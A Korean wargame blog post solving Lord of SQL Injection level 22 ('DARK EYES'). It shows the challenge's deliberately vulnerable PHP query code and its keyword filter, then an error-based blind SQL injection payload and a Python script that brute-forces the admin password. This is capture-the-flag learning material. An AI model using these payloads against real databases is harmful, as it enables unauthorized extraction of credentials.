본문 바로가기

wargame/LOS

[LOS]22번 DARK EYES

DARK EYES



22번 문제

<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  // col, if, case, when, sleep, benchmark 필터링

  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(mysql_error()) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>



21번 문제와 거의 동일하다.
차이점은 if문을 쓰지 못한다는 점과 에러가 발생했을 때 에러 원인을 보여주지 않는다는 점이다.

우선 if문을 쓰지 않고 저번과 같은 논리로 풀 수 없을까 고민했다.
그래서 아래와 같이 실험해 보았다.

where id='admin' and pw='' or length(pw)>8 or (select 1 union select 2)# 이 조건이면 false or (내가 입력하는 값에 따라 true/false 결정) or error가 된다.
저 length(pw)의 크기에 따라 (select 1 union select 2)가 실행 여부가 정해지므로 참/거짓을 파악할 수 있을 줄 알았다.
하지만 length(pw>8이든 =8이든 <8이든 전부 빈 화면(즉 , error가 실행)이 되었다.

따라서 데이터베이스에서 몇 가지 실험을 해보기로 했다.
우선 실험할 테이블

위에서 입력했던 것과 같이 입력했다.

에러가 뜬다.

그렇다면 아예 전제가 잘못된 걸까?
그렇지는 않다
조건이 true or true or error의 경우 error가 실행 안 된다.
다음과 같이 실험해보자

조건이 false or true이면 true가 되는 레코드가 출력된다.
그러나 조건이 false or true or error가 되면 error가 된다.

고민해봤는데 true가 언제나 true가 아니라서 error가 되는 거 같았다.
예를 들면 위의 예제에서는 categoryid=1이고 length(category)=8인 레코드일 때만 true이고 다른 레코드는 전부 false인 조건이 된다.
이 문제를 어떻게 해결해야 하나 고민하다가 어떤 글을 발견했다.(주소)
이 글에서는 괄호로 문제를 해결했다. 실제로 실험해보았다.

error가 출력되지 않는다.

이를 바탕으로 pw의 길이를 알아냈다.

참 거짓을 구별할 수 있게 되었다.
blind sql injection을 이용할 수 있다.

from urllib.parse import unquote
from bs4 import BeautifulSoup
import re
import requests
 
if __name__=="__main__":
 
    for i in range(1, 9):
        for j in range(48, 128) :
            query = "' or id='admin' and (ascii(substr(pw,"+str(i)+",1))="+str(j)+" or (select 1 union select pw))#"
            params = {"pw": unquote(query)}
            cookies = {"PHPSESSID" : ""}
            response = requests.get('https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php', cookies = cookies, params = params)
            html = response.text
            
            if html :
                print(chr(j), end="")
                break



답을 알아냈다.

문제해결!

'wargame > LOS' 카테고리의 다른 글

[LOS]21번 IRON GOLEM  (0) 2019.08.25
[LOS]20번 DRAGON  (0) 2019.08.16
[LOS]19번 XAVIS  (0) 2019.08.15
[LOS]18번 NIGHTMARE  (0) 2019.08.15
[LOS]17번 SUCCUBUS  (0) 2019.08.09